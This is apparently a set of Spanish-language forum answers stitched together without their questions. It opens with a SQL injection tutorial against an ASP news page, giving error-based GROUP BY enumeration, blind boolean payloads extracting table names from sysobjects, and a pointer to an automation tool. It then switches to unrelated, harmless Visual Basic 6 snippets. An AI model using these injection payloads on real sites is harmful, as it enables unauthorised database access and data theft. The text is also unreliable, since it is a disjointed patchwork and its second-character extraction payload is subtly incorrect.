La prueba de cocina me esta dando dolor de cabeza ya la de la escual ni la veo pero esta me esta poniedo loko una ayudita plz ya se en que se pareze la cocina a la informatica. pero no doy con el punto exacto!!!

Trata SELECT name FROM sysobjects where name like "%u" o si no para mi la mejor forma siempre es tratar de explotar el error de sql y asi podremos obtener datos de la tabla. Ej: http://www.server.com/news.asp?id=[SQL] se puede explotar de mucha maneras resultado:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'NEWS.PageTitle' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/functions/dbfunctions.asp, line 185

Ya tenermos nuestro primer campo podemos usar el gruop by [Campo] hasta q la web de el resultado deseado

Ej:
http://www.server.com/news.asp?id=1%20group by NEWS.PageTitle

NEWS.PageTitle

NEWS <------ Tabla
PAgeTitle <------- Campo

Tambien se puede saber el nombre de cualquier campo usando una operacion usando un blind sql injection
Ej:
Al usar el la Ej: http://www.server.com/news.asp?id=1 and 1=1-- muestra un dato en la web el cual es verdadero
si utilizamos Ej: http://www.server.com/news.asp?id=1 and 1=2--  es falso muestra otro datos en la web
Ya que conocemos cual son las respuesta en los caso FALSE and TRUE podemos usar esta sentencia

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))<97

convierte a caract + minuscala + extrae + de la tabla una si la primera letra es  < 97 en ascii asi tendremos un resultado de la primera letra
este proceso se puede repetir hasta encontra la primera letra del nombre de la tabla para la segunda solo cambiamos

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,2)))<97 y continua el proceso hasta tener el nombre completo

este es un proceso largo por eso te recomiendo que uses sqlbrute para window que lo hace de manera automatica.

Espero que se a de tu ayuda y recuerda que hay miles de pagina con info sobre sql injection.
Pero si no solo dejame saber.....

Bueno este seria el proceso para poder hacer lo que pides

Este es un formulario

Inicio----------------------------------------------------------------------------------------

Private Sub Form_Load()
               
If Command = "verde" Then           'Command tendra el valor del parametro.
    Form1.BackColor = QBColor(2)
End If
If Command = "azul" Then
    Form1.BackColor = QBColor(1)
End If

If Command = "rojo" Then
    Form1.BackColor = QBColor(4)
End If
   
End Sub
------------------------------------------------------------------------------------------Fin


Este es el modulo modulo el cual se encarga de capturar el parametro.

Inicio---------------------------------------------------------------------------------------

Option Explicit

Public argv() As String     'Contenido de cada argumento
Public argc As Integer      'número de argumentos


Public Function Command2Arg(Optional ByVal vCommand As Variant) As Integer
   
    'Devuelve lo que hay en command$ o en la variable de entrada
    'en un array global Argv() y devuelve el número de parámetros
    'o cero si no hay ninguno
    '-------------------------------------------------------------
   
    Dim sCommand As String
    Dim c As String
    Dim sTmp As String
    Dim i As Integer
    Dim Separadores As String
   
    Separadores = "/- " & Chr$(34) & Chr$(9)
   
    ReDim argv(0)
    argc = 0
   
    'Si no se especifica el parámetro se toma la línea de comandos
    If IsMissing(vCommand) Then
        sCommand = Trim$(Command$)
    Else
        sCommand = Trim$(CStr(vCommand))
    End If
   
    'Si no tiene nada la variable devolver cero
    If Len(sCommand) = 0 Then
        Command2Arg = 0
        argc = 0
        Exit Function
    End If
   
    i = 0
    Do While i < Len(sCommand)
        i = i + 1
        c = Mid$(sCommand, i, 1)
        If c = Chr$(34) Then
            sTmp = ""
            Do While i < Len(sCommand)
                i = i + 1
                c = Mid$(sCommand, i, 1)
                If c = Chr$(34) Then Exit Do
                sTmp = sTmp & c
            Loop
            argc = argc + 1
            ReDim Preserve argv(argc)
            argv(argc) = Trim$(sTmp)
            sTmp = ""
        ElseIf c = "/" Or c = "-" Or c <> " " Then
            sTmp = c
            Do While i < Len(sCommand)
                i = i + 1
                c = Mid$(sCommand, i, 1)
                If InStr(Separadores, c) Then
                    i = i - 1
                    Exit Do
                End If
                sTmp = sTmp & c
            Loop
            argc = argc + 1
            ReDim Preserve argv(argc)
            argv(argc) = Trim$(sTmp)
            sTmp = ""
        End If
    Loop
    Command2Arg = argc
End Function

------------------------------------------------------------------------------------------Fin

Espero que sea de tu ayuda 

Bueno esta seria una forma Usando un command espero que sea de tu ayuda!

Private Sub Command1_Click()
Dim n As Integer
    Randomize
        n = Int(Rnd * 5)  ' El numero depende de la cantidad de datos del list
        List1.ListIndex = n '
End Sub

Private Sub Form_Load()
List1.AddItem ("c:\State Of Trances"), 0
List1.AddItem ("c:\Dj Tiesto"), 1
List1.AddItem ("c:\Sven Vah"), 2
List1.AddItem ("c:\David Guetta"), 3
List1.AddItem ("c:\Roger Sanchez"), 4
End Sub

 

Private Sub Command1_Click()

If Day(Now) = 4 Then MsgBox "hola"

If Date = "02/04/2008" Or Date = "2/4/2008" Then MsgBox "hola"

End Sub
Te dejo 2 formas que deben de funcionar correctamente en caso de que no lo mejor seria que revisaras la fecha de tu computadora.

Private Sub Command1_Click()

 If Frame2.Visible = True Then
    Frame2.Visible = False
    Frame1.Visible = True
 Else
    Frame1.Visible = False
    Frame2.Visible = True
 End If
 
End Sub

podrias subir los datos a una DB y que cuando el programa inicie realize un query  el resultado lo pondrias en tu DB.